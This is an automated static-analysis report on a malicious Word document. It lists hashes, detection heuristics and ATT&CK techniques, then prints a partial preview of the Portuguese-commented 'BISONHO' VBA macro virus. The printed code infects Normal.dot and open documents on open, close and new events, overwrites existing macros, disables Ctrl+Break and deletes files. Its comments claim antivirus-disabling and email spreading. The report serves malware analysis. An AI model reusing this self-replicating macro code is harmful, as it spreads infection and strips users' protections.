Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2dd9750e2d8c2de2…

MALICIOUS

Office (OLE)

69.0 KB Created: 2001-10-02 18:04:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 34d30aeca98f272730e66c3673eaa935 SHA-1: d7553595ead0994afe7828bf0aff3166a9d736bc SHA-256: 2dd9750e2d8c2de2a31562e349e280b6229ecdb8d1cd8b4a3250c30e7053f696
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that utilizes the Shell() function to execute arbitrary code. This macro is identified as 'BISONHO' and appears to be a downloader, aiming to fetch and run a second-stage payload. The embedded script also contains email addresses and an ICQ UIN, likely associated with the malware's author or distribution.

Heuristics 6

  • ClamAV: Doc.Trojan.Ocor-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ocor-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 23177 bytes
SHA-256: cd6917bb06ede3e339d0cd8e46f41c48b8831e07e775576977ff6e980a004154
Detection
ClamAV: Doc.Trojan.Ocor-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
''''''''''''''''''''''''''''' BISONHO '''''''''''''''''''''''''''''''''''''''
'Bisonho Rulez
'OBS: Cuidado com essa linha ai de cima senao o virus da pau, nao deletem
'
'NOME DO VIRUS  : BISONHO
'AUTOR      : DICK MOE (FUNDADOR DO GRUPO)
'GRUPO      : A BERNE MALTESA
'EMAIL      : BERNEMALTESA@IEG.COM.BR OU TBUG@IG.COM.BR
'ORIGEM     : BRASIL, FEV 2001
'ICQ UIN    : 76267835
'
'INFECTA    : DOC, DOT DAS VERSÕES DO WORD 97, 2000...
'POLIMORFO  : NAO
'MUTANTE    : NAO
'ENCRIPTADO : ISSO EU NAO SEI FAZER MESMO. QUEM SOUBER ME AJUDE PLEASE!
'STEALTH        : SIM, COM MUITAS TECNICAS ATE QUE BEM AVANCADAS
'PROPAGA EMAIL  : SIM (Thanks to melissa...)
'RETRO      : ANIQUILA 7 AV'S, DESABILITA A PORRA DO XõBoBus
'EVENTOS    : UM MONTE...
'PROTECAO       : ACABA COM QUALQUER VIRUS JA EXISTENTE E COMPLICA A VIDA DO: ETHAN, ALEM DE DESABILITAR A VERIFICACAO DE MACROS NO WORD,
  '             : DESABILITAR OS MENUS DE VISUALIZACAO DE MACROS (MACROS E
  '      : BARRA DE TAREFAS), DESABILITAR AS TECLAS DE ATALHO PARA
   '     : A LISTA DE MACROS E PARA O EDITOR DO VISUAL BASIC E DESATIVAR
   '     : O AVISO PARA SALVAR O NORMAL.DOT
'BASE       : COM BASE EM ALGUNS CODIGOS DO MEU VIRUS GHOUL, E EMAIL DO          MELISSA
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Sub Document_Close()
'Executa quando um doc e fechado e transfere o controle para a sub
'Document_Open diretamente
    Document_Open
End Sub

Private Sub Document_New()
'Executa quando um doc e criado
'Document_Open diretamente
    Document_Open
End Sub

Private Sub Document_Open()

'Executa quando um doc e aberto e depois transfere o controle para a sub
'RetroAction

On Error Resume Next        'Se ocorrer algum erro... pule!
Application.EnableCancelKey = 0 'Desabilita Control+Break

Set Arch = ActiveDocument.VBProject.VBComponents.Item(1)
'Define as variaveis Arch, que aponta para um doc qualquer ativo,

Set Norm = NormalTemplate.VBProject.VBComponents.Item(1)
'Norm que aponta para o normal.dot, e

Set ItsMe = Me.VBProject.VBComponents.Item(1)
'ItsMe, que indica da onde o virus esta sendo executado.

If Norm.CodeModule.Lines(1, 1) <> "'Bisonho Rulez" Then
'Se a primeira linha do projeto do normal nao for 'Bisonho Rulez, infecte!

Norm.CodeModule.DeleteLines 1, Norm.CodeModule.CountOfLines
'Apaga todo o codigo estranho (que pode ser um outro virus, pq nao?)

Norm.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines)
'Infecta o arquivo

Norm.Name = "Bisonho"  'Muda o nome do projeto para Bisonho
End If 'Termina o bloco de condicoes *SE*

If Arch.CodeModule.Lines(1, 1) <> "'Bisonho Rulez" Then
'Se a primeira linha do projeto de um arquivo aberto nao for 'Bisonho Rulez, infecte!

Arch.CodeModule.DeleteLines 1, Arch.CodeModule.CountOfLines
'Apaga todo o codigo estranho (que pode ser um outro virus, pq nao?)

Arch.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines)
'Infecta o arquivo

Arch.Name = "Bisonho"  'Muda o nome do projeto para Bisonho
End If 'Termina o bloco de condicoes *SE*

If Dir("C:\Ethan.___", 6) <> "" Then
'Aha, foi encontrado vestigios do ethan... (eu odeio esse virus nao sei pq)

SetAttr "C:\Ethan.___", vbNormal
'Define o atributo do arquivo como normal, e...
Kill "C:\Ethan.___"         'Deleta essa droga!
End If                                  'Termina o bloco de condicoes *SE*

RetroAction             'Chama a sub RetroAction

If Day(Now) = Month(Now) Then ChooseActions
'Chama os eventos se o dia for igual ao mes

If Minute(Now) = Second(Now) Then
'Se o segundo e igual ao minuto, faz o cara dizer que tem o pau pequeno
Msg = "Ocorreu um erro. A possivel causa e que vc tenha um penis pequ
... (truncated)